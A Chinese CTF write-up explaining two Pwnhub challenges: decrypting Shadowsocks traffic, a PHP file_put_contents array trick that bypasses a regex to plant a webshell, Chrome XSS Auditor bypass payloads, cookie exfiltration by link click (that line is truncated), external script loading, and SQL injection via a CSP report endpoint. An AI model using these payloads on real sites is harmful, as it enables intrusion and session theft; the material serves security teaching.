作者:phith0n@長亭科技
Pwnhub 在8月舉辦了第一次線下沙龍,我也出了兩道 Web 相關的題目,其中涉及好幾個知識點,這里說一下。
題目《國家保衛者》
國家保衛者是一道 MISC 題目,題干:
Phith0n作為一個國家保衛者,最近發現國際網絡中有一些奇怪的數據包,他取了一個最簡單的(神秘代碼 123456 ),希望能分析出有趣的東西來。https://pwnhub.cn/attachments/170812_okKJICF5RDsF/package.pcapng
考點一、數據包分析
其實題干很簡單,就是給了個數據包,下載以后用 Wireshark 打開即可。因為考慮到線下沙龍時間較短,所以我只抓了一個 TCP 連接,避免一些干擾。
因為我沒明確寫這個數據包是干嘛的,有的同學做題的時候有點不知所以然。其實最簡單的一個方法,打開數據包,如果 Wireshark 沒有明確說這是什么協議的時候,就直接看看目標端口:

8388 端口,搜一下就知道默認是什么服務了。
Shadowsocks 數據包解密,這個點其實我2015年已經想出了,但一直我自己沒仔細研究過他的源碼,對其加密的整個流程也不熟悉。后面抽空閱讀了一些源碼,發現其數據流有一個特點,就是如果傳輸的數據太大的話,還是會對數據包進行分割。
所以,我之前直接把源碼打包后用 shadowsocks 傳一遍,發現抓下來的包是需要處理才能解密,不太方便,后來就干脆弄了個302跳轉,然后把目標地址和源碼的文件名放在數據包里。
找到返回包的 Data,然后右鍵導出:

然后下載 Shadowsocks 的源碼,其中有一個 encrypt.py,雖然整個加密和流量打包的過程比較復雜,但我們只需要調用其中解密的方法即可。
源碼我就不分析了,解密代碼如下(./data.bin是導出的密文,123456是題干里給出的“神秘代碼”,aes-256-cfb是默認加密方式):
if __name__ == '__main__':
with open('./data.bin', 'rb') as f:
data = f.read()
e = Encryptor('123456', 'aes-256-cfb')
print(e.decrypt(data))
直接把這個代碼加到 encrypt.py 下面,然后執行即可:

當然,在實戰中,進行密鑰的爆破、加密方法的爆破,這個也是有可能的。為了不給題目增加難度,我就設置的比較簡單。
考點二、PHP代碼審計/Trick
解密出數據包后可以看到,Location的值給出了兩個信息:
- 源碼包的路徑
- 目標地址
所以,下載源碼進行分析。
這是一個比較簡單的代碼審計題目,簡單流程就是,用戶創建一個 Ticket,然后后端會將 Ticket 的內容保存到以“cache/用戶名/Ticket標題.php”命名的文件中。然后,用戶可以查看某個 Ticket,根據 Ticket 的名字,將“cache/用戶名/Ticket標題.php”內容讀取出來。
這個題目的考點就在于,寫入文件之前,我對用戶輸出的內容進行了一次正則檢查:
<?php
function is_valid($title, $data)
{
$data = $title . $data;
return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}
function write_cache($title, $content)
{
$dir = changedir(CACHE_DIR . get_username() . '/');
if(!is_dir($dir)) {
mkdir($dir);
}
ini_set('open_basedir', $dir);
if (!is_valid($title, $content)) {
exit("title or content error");
}
$filename = "{$dir}{$title}.php";
file_put_contents($filename, $content);
ini_set('open_basedir', __DIR__ . '/');
}
整個流程如下:
- title 和 content 拼接成字符串
- 將1的結果進行正則檢測攔截,正則比較嚴格,
\A[ _a-zA-Z0-9]+\z,只允許數字、字母、下劃線和空格 - 匹配成功,使用
file_put_contents(title, content)寫入文件中
也就是說,我們的 webshell,至少需要<?等字符,但實際上這里正則把特殊符號都攔截了。
這就考到PHP的一個小 Trick 了,我們看看 file_put_contents 的文檔即可發現:

其第二個參數允許傳入一個數組,如果是數組的話,將被連接成字符串再進行寫入。
回看我的題目,在正則匹配前,$title和$content進行了字符串連接。得益于PHP的弱類型特性,數組會被強制轉換成字符串,也就是Array,Array肯定是滿足正則\A[ _a-zA-Z0-9]+\z的,所以不會被攔截。
所以最后,發送如下數據包即可成功 getshell:
POST /i.php HTTP/1.1
Host: 52.80.37.67:8078
Content-Length: 49
Cache-Control: max-age=0
Origin: http://52.80.37.67:8078
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://52.80.37.67:8078/index.php
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=asdsa067hpqelof5cevlgcsip4
Connection: close
title=s&content[]=<?php&content[]=%0aphpinfo();
(自豪的說一下,為了防攪屎,我已經把我前段時間寫的 PHP 沙盒加進來了,所以 getshell 后只能執行少量函數。最后只要執行一下 show_flag() 即可獲得Flag)
file_put_contents這個特性還是比較有實戰意義的,比如像下面這種基于文件內容的WAF,就可以繞過:
<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
file_put_contents('config.php', $text);
題目《改行做前端》
這個題目看似是一個前端安全的題目,實際上還考了另一個比較隱蔽的點。
題干:
Phithon最近考慮改行做前端,這是他寫的第一個頁面: http://54.222.168.105:8065/ (所有測試在Chrome 60 + 默認配置下進行)
考點一、XSS綜合利用
這個考點是一個比較普通的點,沒什么太多障礙。打開頁面,發現下方有一個提交框,直接點提交,即可發現返回如下鏈接:http://54.222.168.105:8065/?error=驗證碼錯誤
error這個參數被寫在JavaScript的引號里,并對引號進行了轉義:
<script>
window.onload = function () {
var error = 'aaa\'xxx';
$("#error").text(error).show();
};
</script>
但 fuzz 一下 0-255 的所有字符,發現其有如下特征:
- 沒有轉義<、>
- 換行被替換成
沒有轉義<、>,我們就可以傳入error=</script><script>alert(1)</script>來進行跨站攻擊。但問題是,Chrome默認有XSS過濾器,我們需要繞過。
這里其實就是借用了前幾天 @長短短 在Twitter上發過的一個繞過 Chrome Auditor 的技巧:

換行被轉換成<br />后,用上述Payload即可執行任意代碼。
另外,還有個方法:《瀏覽器安全一 / Chrome XSS Auditor bypass》 - 輸出在script內字符串位置的情況 ,這里提到的這個POC也能利用:http://54.222.168.105:8065/?error=%3C/script%3E%3Csvg%3E%3Cscript%3E{alert(1)%2b%26apos%3B (和我博客中文章給的POC有一點不同,因為要閉合后面的},所以前面需要加個{)
最后,構造如下Payload:
http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(atob(location.hash.substr(1)))%3C/script%3E#xxxxxx
將我們需要執行的代碼 base64 編碼后放在xxxxxx的位置即可。
漏洞利用
發現了一個 XSS,前臺正好有一個可以提交 URL 的地方,所以,將構造好的 Payload 提交上去即可。
猜測一下后臺的行為:管理員查看了用戶提交的內容,如果后臺本身沒有 XSS 的情況下,管理員點擊了我們提交的URL,也能成功利用。
但因為前臺有一個 unsafe-inline csp,不能直接加載外部的資源,所以我用鏈接點擊的方式,將敏感信息傳出:
a=document.createElement('a');a.+document.cookie);a.click();
另外,因為后臺還有一定的過濾,所以盡量把他們用url編碼一遍。
打到了后臺地址和Cookie:

用該Cookie登錄一下:

沒有Flag……gg,
考點二、SQL注入
這題看似僅僅是一個XSS題目,但是我們發現進入后臺并沒有Flag,這是怎么回事?
回去翻翻數據包,仔細看看,發現我們之前一直忽略了一個東西:

report-uri 是 CSP 中的一個功能,當 CSP 規則被觸發時,將會向 report-uri 指向的地址發送一個數據包。其設計目的是讓開發者知道有哪些頁面可能違反 CSP,然后去改進他。
比如,我們訪問如下URL:http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E#$.getScript('http://mhz.pw'),這里加載外部 script,違反了 CSP,所以瀏覽器發出了一個請求:

這個數據包如下:
POST /report HTTP/1.1
Host: 54.222.168.105:8065
Connection: keep-alive
Content-Length: 843
Origin: http://54.222.168.105:8065
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Referer: http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=i1q84v0up0fol18vemfo7aeuk1
{"csp-report":{"document-uri":"http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E","referrer":"","violated-directive":"script-src","effective-directive":"script-src","original-policy":"default-src 'self' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; style-src 'self' 'unsafe-inline' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; report-uri /report","disposition":"enforce","blocked-uri":"http://mhz.pw/?_=1502631925558","line-number":4,"column-number":27989,"source-file":"https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js","status-code":200,"script-sample":""}}
這個請求其實是有注入的,注入點在document-uri、blocked-uri、violated-directive這三個位置都有,隨便挑一個:

普通注入,我就不多說了。
注入獲得兩個賬號,其中caibiph的密碼可以解密,直接用這個賬號登錄后臺,即可查看到 Flag:

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/401/
暫無評論